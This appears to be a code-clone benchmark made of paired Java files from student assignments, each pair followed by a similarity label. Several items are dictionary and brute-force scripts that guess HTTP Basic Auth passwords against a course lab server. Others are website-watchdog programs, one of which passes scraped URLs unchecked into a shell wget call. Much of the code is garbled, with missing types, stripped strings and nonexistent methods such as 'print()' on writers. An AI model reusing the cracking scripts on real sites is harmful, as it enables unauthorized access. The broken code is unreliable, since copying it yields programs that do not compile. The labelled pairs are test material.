System.out.println("The entered 'From' email address is: " + strFromEmail);
}
System.out.println();
System.out.println("'' email address");
System.out.println("------------------");
System.out.println("Please enter a '' email address, press Enter for default");
System.out.print("(default: " + strToEmailDefault + "): ");
try
{
strToEmail = stdin.readLine();
}
catch (Exception e)
{
System.err.println(e);
}
System.out.println();
if ( (strToEmail == null) || (strToEmail.length() == 0) )
{
System.out.println(" email address was entered.");
System.out.println("The '' email address default : " + strToEmailDefault);
strToEmail = strToEmailDefault;
}
else
{
System.out.println("The entered '' email address is: " + strToEmail);
}
}
static void writeTextToFile(String strText,
String strWriteToThisFileName)
{
try
{
File newFile = new File(strWriteToThisFileName);
if (newFile.exists())
{
newFile.delete();
}
BufferedWriter toFile =
new BufferedWriter(new FileWriter(newFile,
false));
toFile.write(strText);
toFile.print();
toFile = null;
newFile = null;
}
catch(Exception e)
{
System.err.println(e.toString());
System.out.println("File write problem for '" +
strWriteToThisFileName +
"'.");
}
}
static void createDiffFileIfNeeded(String strFileName1,
String strFileName2)
{
try
{
Process p = Runtime.getRuntime().exec("./diff_files.sh");
p.waitFor();
}
catch (Exception e)
{
System.out.println("Shell script exception");
System.out.println("----------------------");
System.err.println(e);
System.out.println("");
}
}
static void createImageTextFile(String inputFile, String prePend)
{
String str;
String strImage = "";
String strImageArray[];
String strInputFromFile = "";
String strSearchString = "<img src";
boolean boolContinue = true;
int intImageCounter = 0;
int intStartSearch = 0;
char ch;
strImageArray = new String[1000];
try
{
BufferedReader file =
new BufferedReader(new FileReader(inputFile));
while ( (str = file.readLine()) != null)
{
strInputFromFile += str;
}
file.print();
file = null;
}
catch (Exception e)
{
boolContinue = false;
System.err.println(e);
}
if (boolContinue)
{
strInputFromFile = (strInputFromFile.toLowerCase()).trim();
intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);
while (intStartSearch != -1)
{
intStartSearch += 8;
while ( (strInputFromFile.charAt(intStartSearch) == ' ') ||
(strInputFromFile.charAt(intStartSearch) == '=') ||
(strInputFromFile.charAt(intStartSearch) == '\"') )
{
intStartSearch++;
}
while ((strInputFromFile.charAt(intStartSearch) != '\"'))
{
ch = strInputFromFile.charAt(intStartSearch);
strImage += String.valueOf(ch);
intStartSearch++;
}
if (strImage.startsWith("/"))
strImage = prePend + strImage;
intImageCounter++;
strImageArray[intImageCounter - 1] = strImage;
strImage = "";
intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);
}
if (inputFile.equals(strWebPageOutputFile01))
{
writeTextArrayToFile(strImageArray,
strImageOutputFile01,
intImageCounter);
}
else if (inputFile.equals(strWebPageOutputFile02))
{
writeTextArrayToFile(strImageArray,
strImageOutputFile02,
intImageCounter);
}
}
}
static void downloadImages(String ImageOutputFile)
{
Process p;
String str;
String strFileName;
try
{
BufferedReader file =
new BufferedReader(new FileReader(ImageOutputFile));
while ( (str = file.readLine()) != null)
{
strFileName = getImageFileName(str);
System.out.println(" " + str);
System.out.println(" file name: " + strFileName);
if (fileExists(strFileName))
deleteFile(strFileName);
p = Runtime.getRuntime().exec("wget " + str);
p.waitFor();
}
file = null;
}
catch (Exception e)
{
System.err.println("downloadingImages: " + e);
}
}
static String getImageFileName(String imageFileName)
{
String strFileName;
int intFileNameLength = imageFileName.length();
int intStartPosOfFileName = intFileNameLength - 1;
while ( (intStartPosOfFileName >= 0) &&
(imageFileName.charAt(intStartPosOfFileName) != '/') )
{
intStartPosOfFileName--;
}
strFileName = imageFileName.substring(intStartPosOfFileName + 1,
intFileNameLength);
return strFileName;
}
static void writeTextArrayToFile(String strTextArray[],
String strWriteToThisFileName,
int numberOfImages )
{
boolean boolFirstLineWritten = false;
try
{
File newFile = new File(strWriteToThisFileName);
if (newFile.exists())
{
newFile.delete();
}
BufferedWriter toFile =
new BufferedWriter(new FileWriter(newFile,
false));
for ( int i = 0 ; i < numberOfImages ; i++ )
{
if (boolFirstLineWritten)
toFile.newLine();
else
boolFirstLineWritten = true;
toFile.write(strTextArray[i]);
}
toFile.print();
toFile = null;
newFile = null;
}
catch(Exception e)
{
System.err.println(e.toString());
System.out.println("File write problem for '" +
strWriteToThisFileName +
"'.");
}
}
static boolean fileExists(String strFileName)
{
boolean boolReturnValue;
File aFile = new File(strFileName);
if (aFile.exists())
boolReturnValue = true;
else
boolReturnValue = false;
aFile = null;
return boolReturnValue;
}
static void deleteFile(String strFileName)
{
if (fileExists(strFileName))
{
File aFile = new File(strFileName);
try
{
aFile.delete();
}
catch (Exception e)
{
System.err.println(e);
}
aFile = null;
}
}
static void renameFile(String strFromFileName, String strToFileName)
{
File from = new File(strFromFileName);
File to = new File(strToFileName);
boolean success = from.renameTo();
from = null;
to = null;
}
static getFileSize(String strFileName)
{
lngReturnValue;
File file = new File(strFileName);
lngReturnValue = file.length();
file = null;
return lngReturnValue;
}
static void sendMailWithDetectedChanges()
{
String str;
String strInputFromFile = null;
try
{
BufferedReader fromFile =
new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));
while ( (str = fromFile.readLine()) != null)
{
strInputFromFile += str;
}
fromFile.print();
fromFile = null;
SmtpClient smtp = new SmtpClient();
smtp.from(strFromEmail);
smtp.to(strToEmail);
PrintStream msg = smtp.startMessage();
msg.println(": " + strToEmail);
msg.println("From: " + strFromEmail);
msg.println("Subject: Change in website content\n");
msg.println(strInputFromFile);
smtp.closeServer();
}
catch (IOException e)
{
System.err.println(e);
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
254.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.*;
import java.String;
import java.util.*;
public class WatchDogThread extends Thread {
private int dayTime;
private Vector webPageLines;
private Vector originalWebPageLines;
private Vector addLines;
private Vector deductLines;
private Vector v;
private Runtime run;
private String str;
private String responseLine;
private String host;
private int lineNo;
private Process process;
private Socket socket;
private BufferedReader in;
private BufferedReader pageLine;
private PrintWriter out;
private boolean checked = false;
private boolean changed = false;
private static String commandLine="curl http://www.cs.rmit.edu./students/ -i";
private String[] sendString = {
"HELO mail.nowhere.",
"MAIL FROM: @cs.rmit.edu.",
"RCPT : @cs.rmit.edu.",
"DATA",
"Subject: webpage changed!",
".",
"QUIT"};
public WatchDogThread(String str)
{
super(str);
dayTime = 24*60*60*1000;
webPageLines = new Vector();
originalWebPageLines = new Vector();
addLines = new Vector();
deductLines = new Vector();
v = new Vector();
}
public void run()
{
run = Runtime.getRuntime();
host = "mail.cs.rmit.edu.";
while(true) {
try{
if(!loadPage())
break;
if(checked) {
compare();
if(addLines.size() != 0 || deductLines.size() != 0)
{
changed = true;
}
else if(v.size() != 0)
{
changed = true;
addLines.removeAllElements();
deductLines.removeAllElements();
}
else
{
changed = false;
addLines.removeAllElements();
deductLines.removeAllElements();
}
if(changed) {
socket = new Socket(host,25);
in = new
BufferedReader(new InputStreamReader(
socket.getInputStream()));
out = new PrintWriter(new
OutputStreamWriter(
socket.getOutputStream()));
out.println(sendString[0]);
out.flush();
while((responseLine = in.readLine())!=null){
if(responseLine.indexOf("pleased meet ") != -1) break;
}
if(responseLine.indexOf("pleased meet ") != -1) {
out.println(sendString[1]);
out.flush();
responseLine = in.readLine();
if(responseLine.substring(responseLine.length()-9,responseLine.length()).equals("Sender ok")) {
out.println(sendString[2]);
out.flush();
responseLine = in.readLine();
if(responseLine.substring(responseLine.length()-12,responseLine.length()).equals("Recipient ok")) {
out.println(sendString[3]);
out.flush();
responseLine = in.readLine();
if(responseLine.substring(0,14).equals("354 Enter mail")) {
out.println(sendString[4]);
out.flush();
lineNo = 0;
if(addLines.size()!=0)
{
out.println("The following lines the added new lines:");
out.flush();
while(addLines.size()>lineNo)
{
out.println(String.valueOf(lineNo+1)+": "+(String)(addLines.elementAt(lineNo++)));
out.flush();
}
out.println("\n--- --- --- --- --- --- ---\n");
out.flush();
}
lineNo = 0;
if(deductLines.size()!=0)
{
out.println("The following lines the deducted lines:");
out.flush();
while(deductLines.size()>lineNo)
{
out.println(String.valueOf(lineNo+1)+": "+ (String)(deductLines.elementAt(lineNo++)));
out.flush();
}
out.println("\n--- --- --- --- --- --- ---\n");
out.flush();
}
lineNo = 0;
if(v.size() != 0)
{
out.println("The following lines the added lines that the same");
out.flush();
out.println(" as some lines in the original webpage:");
out.flush();
while(v.size()>lineNo)
{
out.println(String.valueOf(lineNo+1)+": "+ (String)(v.elementAt(lineNo++)));
out.flush();
}
out.println("\n--- --- --- --- --- --- ---\n");
out.flush();
}
out.println(sendString[5]);
out.flush();
responseLine = in.readLine();
if(responseLine.substring(responseLine.length()-29,responseLine.length()).equals("Message accepted for delivery")) {
out.println(sendString[6]);
out.flush();
}
}
}
}
}
socket.close();
}
update(changed);
}
else {
checked = true;
update(changed);
}
}
catch (Exception e) {
System.out.println(e.getMessage());
break;
}
try {
sleep(dayTime);
}
catch (InterruptedException e ) {
System.out.println(e.getMessage());
break;
}
}
}
public void compare()
{
int n = 0;
int j = 0;
try {
v.removeAllElements();
while(n < webPageLines.size()) {
for(j = 0; j < originalWebPageLines.size(); j++)
{
if(((String)(webPageLines.elementAt(n)))
.equals((String)(originalWebPageLines.elementAt(j))))
{
v.addElement((String)(webPageLines.elementAt(n)));
break;
}
}
if(j == originalWebPageLines.size())
{
addLines.addElement((String)(webPageLines.elementAt(n)));
}
n++;
}
n = 0;
while(n < originalWebPageLines.size()) {
for(j = 0; j < webPageLines.size(); j++)
{
if(((String)(originalWebPageLines.elementAt(n)))
.equals((String)(webPageLines.elementAt(j))))
{
v.remove((String)(originalWebPageLines.elementAt(n)));
break;
}
}
if(j == webPageLines.size())
{
deductLines.addElement((String)(originalWebPageLines.elementAt(n)));
}
n++;
}
}
catch (Exception e) {
System.out.println(e.getMessage());
}
}
public void update(boolean updatePageLines)
{
try {
addLines.removeAllElements();
deductLines.removeAllElements();
v.removeAllElements();
if(updatePageLines)
{
originalWebPageLines.removeAllElements();
for(int i=0; i< webPageLines.size(); i++)
{
originalWebPageLines.addElement((String)(webPageLines.elementAt(i)));
}
webPageLines.removeAllElements();
}
else webPageLines.removeAllElements();
changed = false;
}
catch (Exception e) {
System.out.println(e.getMessage());
}
}
public boolean loadPage()
{
try {
process = run.exec(commandLine);
pageLine = new
BufferedReader(new InputStreamReader(process.getInputStream()));
str = pageLine.readLine();
if(str.equals("HTTP/1.1 200 OK")) {
{
str = pageLine.readLine();
if(str.indexOf("<") != -1) break;
}while(true);
if(!checked) originalWebPageLines.addElement(str);
else webPageLines.addElement(str);
{
str = pageLine.readLine();
if(str != null) {
if(str.length() != 0 && !(str.equals(""))) {
if(!checked) originalWebPageLines.addElement(str);
else webPageLines.addElement(str);
}
}
else break;
} while(true);
return true;
}
else return false;
}
catch (Exception e) {
System.out.println(e.getMessage());
}
return true;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
109.java | 161.java | 0 | import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Date;
import java.util.Properties;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.Message.RecipientType;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
public class Mailsend
{
static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");
static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");
static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");
static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");
public static void main(String args[])
{
try
{
String smtpServer = SMTP_SERVER;
String recip = RECIPIENT_EMAIL;
String from = SENDER_EMAIL;
String subject = MESSAGE_HEADER;
String body = "Testing";
System.out.println("Started sending the message");
Mailsend.send(smtpServer,recip , from, subject, body);
}
catch (Exception ex)
{
System.out.println(
"Usage: java mailsend"
+ " smtpServer toAddress fromAddress subjectText bodyText");
}
System.exit(0);
}
public static void send(String smtpServer, String receiver, String from, String subject, String body)
{
try
{
Properties props = System.getProperties();
props.put("mail.smtp.host", smtpServer);
props.put("mail.smtp.timeout", "20000");
props.put("mail.smtp.connectiontimeout", "20000");
Session session = Session.getDefaultInstance(props, null);
Message msg = new MimeMessage(session);
msg.setFrom(new InternetAddress(from));
msg.setRecipients(Message.RecipientType.NORMAL, InternetAddress.parse(receiver, false));
msg.setSubject(subject);
msg.setSentDate(new Date());
msg.setText(body);
Transport.send(msg);
System.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);
}
catch (Exception ex)
{
ex.printStackTrace();
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
188.java | 161.java | 0 |
import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;
public class BruteForce
{
private URL url;
private HttpURLConnection connection ;
private int stopTime = 0;
private int startTime = 0;
private int count = 0;
public BruteForce()
{
System.out.println("Process is running...");
startTime = System.currentTimeMillis();
threeLetters();
twoLetters();
}
public static void main (String args[])
{
BruteForce bf = new BruteForce();
}
public void threeLetters()
{
String s1;
char [] a = {'a','a','a'};
for (int i0 = 0; i0 < 26; i0++)
{
for (int i1 = 0; i1 < 26; i1++)
{
for (int i2 = 0; i2 < 26; i2++)
{
s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
String.valueOf((char)(a[2] + i2));
decision(s1);
count++;
s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +
(String.valueOf((char)(a[2] + i2))).toUpperCase();
decision(s1);
count++;
s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
(String.valueOf((char)(a[2] + i2))).toUpperCase();
decision(s1);
count++;
s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
(String.valueOf((char)(a[1] + i1))).toUpperCase() +
(String.valueOf((char)(a[2] + i2))).toUpperCase();
decision(s1);
count++;
s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +
String.valueOf((char)(a[2] + i2));
decision(s1);
count++;
s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
String.valueOf((char)(a[2] + i2));
decision(s1);
count++;
s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +
(String.valueOf((char)(a[2] + i2))).toUpperCase();
decision(s1);
count++;
s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
(String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));
decision(s1);
count++;
}
}
}
}
public void twoLetters()
{
String s1;
char [] a = {'a','a'};
for (int i0 = 0; i0 < 26; i0++)
{
for (int i1 = 0; i1 < 26; i1++)
{
s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));
decision(s1);
count++;
s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();
decision(s1);
count++;
s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +
(String.valueOf((char)(a[1] + i1))).toUpperCase();
decision(s1);
count++;
s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));
decision(s1);
count++;
}
}
}
public void decision(String s1)
{
if (find(s1) == 200)
{
stopTime = System.currentTimeMillis();
runTime = stopTime - startTime;
System.out.println("***************************************");
System.out.println("\nAttack successfully");
System.out.println("\nPassword is: " + s1);
System.out.println("\nThe contents of the Web site: ");
displayContent(s1);
System.out.println("\nTime taken crack: " + runTime + " millisecond");
System.out.println("\nNumber of attempts: " + count);
System.out.println();
System.exit(0);
}
}
public int find(String s1)
{
int responseCode = 0;
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
connection = (HttpURLConnection)url.openConnection();
connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1));
responseCode = connection.getResponseCode();
}catch (Exception e)
{
System.out.println(e.getMessage());
}
return responseCode;
}
public void displayContent(String pw)
{
BufferedReader bw = null ;
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
connection = (HttpURLConnection)url.openConnection();
connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw));
InputStream stream = (InputStream)(connection.getContent());
if (stream != null)
{
InputStreamReader reader = new InputStreamReader (stream);
bw = new BufferedReader (reader);
String line;
while ((line = bw.readLine()) != null)
{
System.out.println(line);
}
}
}
catch (IOException e)
{
System.out.println(e.getMessage());
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
181.java | 161.java | 0 | import java.net.*;
import java.io.*;
public class BruteForce extends Authenticator {
private String username;
private URL url;
private char [] nextPassword;
private char [] thisPassword;
public static void main(String [] args) {
if(args.length!=2) {
System.err.println("usage: BruteForce <url> <username>");
System.exit(1);
}
BruteForce bf = null;
try {
bf = new BruteForce(args[0], args[1]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
}
bf.work();
System.exit(0);
}
public BruteForce(String url, String username)
throws MalformedURLException {
this.url = new URL(url);
this.username = username;
this.nextPassword = new char [] {'a'};
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED
&& nextPassword!=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
createNextPassword();
return new PasswordAuthentication(username, thisPassword);
}
public void createNextPassword() {
int i;
if(thisPassword==null) {
thisPassword = new char [] {'A', 'A', 'A'};
nextPassword = new char [] {'A', 'A', 'B'};
return;
}
thisPassword = nextPassword;
if(nextPassword[2]=='Z') {
nextPassword[2]='a';
return;
} else if(nextPassword[2]!='z') {
i = (int) nextPassword[2];
nextPassword[2]=(char) ++i;
} else {
nextPassword[2]='A';
if(nextPassword[1]=='Z') {
nextPassword[1]='a';
} else if(nextPassword[1]!='z') {
i = (int) nextPassword[1];
nextPassword[1]=(char) ++i;
} else {
nextPassword[1]='A';
if(nextPassword[0]=='Z') {
nextPassword[0]='a';
} else if(nextPassword[0]!='z') {
i = (int) nextPassword[0];
nextPassword[0]=(char) ++i;
} else {
nextPassword = null;
}
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
167.java | 161.java | 0 |
package java.httputils;
import java.io.IOException;
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Iterator;
public class RunnableHttpRequest extends Thread
{
protected String targetURL = "http://localhost:8080/";
protected int requestCount = 1;
protected ArrayList timingList = new ArrayList();
protected HttpRequestClient req;
Boolean finished = new Boolean(false);
HttpRequestThreadPool pool;
public void run()
{
try
{
for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)
{
try
{
req =
new HttpRequestClient(getTargetURL());
}
catch (MalformedURLException e)
{
e.printStackTrace();
break;
}
catch (IOException e)
{
e.printStackTrace();
break;
}
}
}
finally
{
i = 0;
Iterator iter = getTimingList().iterator();
while (iter.hasNext())
{
element e = iter.next();
i+= element.longValue();
}
System.out.println(
"*** Average Request processing time (milliseconds): " );
getPool().setThreadAverageTime(this, getTimingList().size());
setFinished(new Boolean(true));
}
}
public RunnableHttpRequest()
{
super();
}
public RunnableHttpRequest(
String targetURL,
int requestCount,
String threadName,
ThreadGroup group,
HttpRequestThreadPool pool)
{
super(group, threadName);
setTargetURL(targetURL);
setRequestCount(requestCount);
setPool(pool);
}
public int getRequestCount()
{
return requestCount;
}
public String getTargetURL()
{
return targetURL;
}
public void setRequestCount(int i)
{
requestCount = i;
}
public void setTargetURL(String string)
{
targetURL = string;
}
public static void main(String[] args)
{
RunnableHttpRequest client = null;
try
{
ThreadGroup group = new ThreadGroup("testGroup1");
client = new RunnableHttpRequest(
args[0],
Integer.parseInt(args[1]),
"test1",
group,
null);
client.close();
try
{
while (!client.getFinished().booleanValue())
{
sleep(100);
}
}
catch (InterruptedException e)
{
e.printStackTrace();
}
}
finally
{
if (client != null)
{
System.out.println(
"Request processing time (milliseconds): " +
client.getTimingList());
}
}
}
public HttpRequestClient getReq()
{
return req;
}
public ArrayList getTimingList()
{
return timingList;
}
public void setReq(HttpRequestClient client)
{
req = client;
}
public void setTimingList(ArrayList list)
{
timingList = list;
}
Boolean getFinished()
{
return finished;
}
synchronized void setFinished(Boolean boolean1)
{
finished = boolean1;
}
public HttpRequestThreadPool getPool()
{
return pool;
}
public void setPool(HttpRequestThreadPool pool)
{
this.pool = pool;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
100.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.Runtime;
public class WatchDog{
public WatchDog(){}
public void copyTo(){
}
public static void main(String[] args) throws Exception {
WatchDog wd= new WatchDog();
SendEMail t = new SendEMail();
PrintWriter pw=null;
URL url = new URL("http://www.cs.rmit.edu./students");
URLConnection yc = url.openConnection();
System.out.println("Connection opened...");
BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
String inputLine;
try{
pw=new PrintWriter(new FileOutputStream("newHtml"));
while ((inputLine = in.readLine()) != null){
pw.println(inputLine);
}
pw.save();
}catch(IOException e){
System.out.println("Error saving the file");
}
Process p = Runtime.getRuntime().exec("diff -b newHtml oldHtml");
InputStream write = p.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line = bf.readLine();
if (line != null){
pw=new PrintWriter(new FileOutputStream("diff"));
try{
while (line != null){
pw.println(line);
line = bf.readLine();
}
pw.save();
}catch(IOException e){
System.out.println("Error saving the file");
}
t.sendMail("@cs.rmit.edu.","diff", "html content changed");
}
else{
Runtime.getRuntime().exec("./checkImage.sh");
try{
BufferedReader inputStream= new BufferedReader(new FileReader("picDiff"));
line=inputStream.readLine();
if (line != null){
t.sendMail("@cs.rmit.edu.","picDiff", "picture has changed");
}
inputStream.save();
}catch(IOException e){
System.out.println("Error saving the file2");
}
}
in.close();
Runtime.getRuntime().exec("cp newHtml oldHtml");
Runtime.getRuntime().exec("rm picDiff");
System.out.println("Connection closed...");
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
